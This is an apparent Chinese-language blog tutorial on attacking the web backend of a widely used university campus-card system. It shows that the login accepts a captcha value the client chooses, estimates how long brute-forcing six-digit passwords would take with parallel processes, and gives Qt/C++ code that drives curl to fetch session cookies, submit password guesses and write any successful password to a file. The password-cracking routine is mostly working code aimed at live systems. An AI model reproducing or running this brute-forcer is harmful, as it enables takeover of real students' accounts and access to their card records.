全国各大高校普遍采用哈尔滨新中新电子股份有限公司的“校园一卡通”运行日常校园内的各种应用,此系统提供了一个网站后台可以提供刷卡信息查询,丢卡挂失等操作。但该网站后台实现非常不严谨,存在很多的漏洞,根据乌云漏洞平台的数据2011年就有人提交这种网站的问题http://www.wooyun.org/bugs/wooyun-2011-03267,但是一直没有得到该厂家的重视和更新。
下面提供一个攻击测试用例,目的只在于交流,严禁用于非法用途。
一、漏洞分析
2.可以伪造ID提交登录网址
登录提交的网址一般是 http://IP:Port/loginstudent.action ,我们可以任意构造提交的内容,从网站所返回的数据来看是否成功。
原网站设定了刷新时限,就是一个session在10秒内不能重复提交登录信息,否则服务器会提示频繁过高。
二、过程理论分析
1.首先要有一个用户ID号,如果没有ID号就没办法了。
2.攻击获取密码,采用的办法是暴力破解,一个密码一个密码地试。
3.可行性分析。密码是6位数字,全部组合1000000个。由于网站限制10秒才能测试一个,假设一台机子有10个进程进行测试,基本上能达到1秒1个,1天24小时*60分钟*60秒=86400秒,100万/86400=11.57,也就是12天可以穷举,如果加大进程数量到50个,如果协同一致的话,可以把时间缩短到2.4天。
三、过程
CURL
curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。
能够极方便地进行http操作。
1.获取session ID,因为在提交密码登录的过程中要用到session ID,由系统分配,用于标识每次会话。
QString cmdline = "curl.exe "+ mServerAddress+ "/homeLogin.action -I -A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"";
QProcess process_session;
process_session.start(cmdline);
if (!process_session.waitForReadyRead())
return -1;
QByteArray output = process_session.readAll();
int index_1 = output.indexOf("Set-Cookie:", 110);
cookie = output.mid(index_1+12, 43);
qDebug()<< cookie;
session ID 保存在cookie中,后面直接指定让CURL读取cookie。
2.用这个ID获取一个验证码。
因为验证码完全由客户端指定,这个就好办多了,我们把它设为8888
QString imgCommand = "curl.exe "+ mServerAddress+ "/getCheckpic.action?rand=8888.560381874442 -I \
-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \
--cookie "+ cookie;
QProcess process_img;
process_img.start(imgCommand);
if (!process_img.waitForFinished())
qDebug()<<"process_img no finish\n";
3.提交用户名,密码等信息,检查返回的结果看是否成功。
post的字符串如下:用户名,用户类型(这个对一般用户都是1),密码,随机数rand设为8888, field照抄原网页内容即可
name=20010410221&userType=1&passwd=103020&loginType=2&rand=8888&imageField.x=26&imageField.y=12
QByteArray data;
data = QByteArray("name=");
data.append(mAccount);
data.append("&userType=1&passwd=");
data.append(mPasswd);
data.append("&loginType=2&rand=1111&imageField.x=26&imageField.y=12");
QString loginCmd = "curl.exe "+ mServerAddress+ "/loginstudent.action \
-d " + data \
+ "-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \
--cookie "+ cookie;
QProcess process_login;
process_login.start(loginCmd);
if (!process_login.waitForFinished())
qDebug()<<"process_img no finish\n";
qDebug()<<"passwd test using result : "<< mPasswd<<"\n";
QByteArray result = process_login.readAll();
if (result.contains("table")) //如果失败,返回结果中有table
{
index++;
return 0;
}
else if(result.contains("frameset"))//如果成功的话,返回的结果中包括frameset
{
QFile file( "file.txt" );
if ( file.open( QIODevice::Append) )
{
QTextStream stream( &file );//成功的密码保存到一个文件中
stream << mPasswd << "\n";
file.close();
return 1;
}
}
else qDebug()<<"error\n"<<result;
可以去跑了。
这个地方还差一个密码字符串生成的部分,要想最有效地分工协作,必须在密码串方面共同进行区分。这个方面还没有实现。